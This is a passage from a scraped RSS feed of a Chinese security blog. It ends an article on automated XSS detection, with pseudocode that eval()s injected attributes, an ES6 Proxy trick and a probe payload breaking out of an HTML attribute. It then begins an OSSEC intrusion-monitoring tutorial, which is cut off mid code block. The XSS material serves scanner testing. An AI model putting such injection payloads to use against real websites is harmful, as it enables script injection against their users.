!important;">for</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> attribute_name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> attribute_value </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> element</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">attributes</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> attribute_name </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">==</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;bn&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">eval</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">attribute_value</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">伪代码如上。先插入脚本，自定义某个函数，如果函数执行认为XSS触发成功，通知主线程。再遍历页面中所有的节点，触发所有的 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">bn</span></code> 事件。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">如果心情好的话，还可以把括号给处理掉，比如利用 ES6 里的 Proxy 对象：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">let</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> student </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;zhangsan&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">const</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> handler </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">obj</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> prop</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    console</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;XSS found!&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">prop</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">let</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> foo </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">new</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Proxy</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">student</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> handler</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">对应的 payload 为：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;&#34;&gt;&lt;b bn=foo.name&gt;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">但这个骚操作的前提是：你的解析器支持 ES6。（给 PhantomJS 点一百首《凉凉》）</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">参考资料</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">XSS Bypass Cookbook <a href="https://xianzhi.aliyun.com/forum/read/536.html" target="_blank">https://xianzhi.aliyun.com/forum/read/536.html</a></p><p><br/></p>



<p><a href="2247483776">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=adc84fe4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483776%26idx%3D1%26sn%3D560281b07706936f502b82b4f7e294e2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 16 May 2018 20:32:00 +0800</pubDate>
    </item>
    <item>
      <title>OSSEC 从入门到吃瓜</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483772&amp;idx=1&amp;sn=17b85be2c387d8b329cfb846e4584e85</link>
      <description>陈年佳(tun)酿(huo)，客官来尝尝</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2018-05-12 12:54</span> <span style="display: inline-block;"></span>
</p>

<p>陈年佳(tun)酿(huo)，客官来尝尝</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7b2b2e92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQms8f5qG4W950StoiadcD6vqCkMS6HtBnC3uwtgJxdHRvqg4pickgoe2W2hKvytHew52M6bs6LAGpAg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">监控系列第一篇文章，内容大多是 OSSEC 官方文档的翻译，加上一些自己的理解总结 Orz</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x00 概览</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">OSSEC 有两种模式：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">Server-Agent模式</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">AgentLess模式（只能运行完整性检查）</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">在 Server-Agent 模式下，Agents 和 Server 的通信，可以使用 rsyslog（514端口 TCP、UDP），也可以使用 1514 UDP端口（默认）。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">Server 和 Agent 分别安装完成之后，需要先从 Server 添加一个新的 Agent，获取一串 key 添加到 Agent 机器上之后，才能完成 UDP 链接的建立，开始正儿八经的监控。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">OSSEC 支持自动化添加 Agent:</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">在 Server 运行： /var/ossec/bin/ossec-authd -p 1515</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">在 Agent 运行：/var/ossec/bin/agent-auth -m 192.168.1.12 -p 1515</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">agent-auth 进程会连接到 Server 的 ossec-authd 进程，获取并且安装 key。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">OSSEC 支持通过 Server 远程管理 Agent 的各项配置，只需要设置 /var/ossec/etc/shared/agent.conf。一般需要几个小时来同步配置，但可以手动重启Agent来加快这个进程。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">OSSEC 有三大模块：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">日志收集 &amp; 分析</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">完整性检查</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">rootkit检查</span></span></p></li></ul><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x01 日志处理模块</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">日志处理模块（Log Analysis，又称 LIDS）分为两部分：日志收集（运行在Agent）、日志分析（运行在Server）。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">日志收集主要通过如下手段：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">进程监控（通过定时运行命令来获取系统当前状态，比如磁盘使用量、CPU占用率等）</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">文件监控（监控系统的日志文件变动，为被动触发）</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">添加新的日志收集规则，只需要在 Agent 的 ossec.conf 中添加一条 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="tag" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&lt;localfile&gt;</span></code> 规则即可</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 文件监控</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;localfile&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;log_format&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">apache</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log_format</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;location&gt;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">var</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">www</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">logs</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" 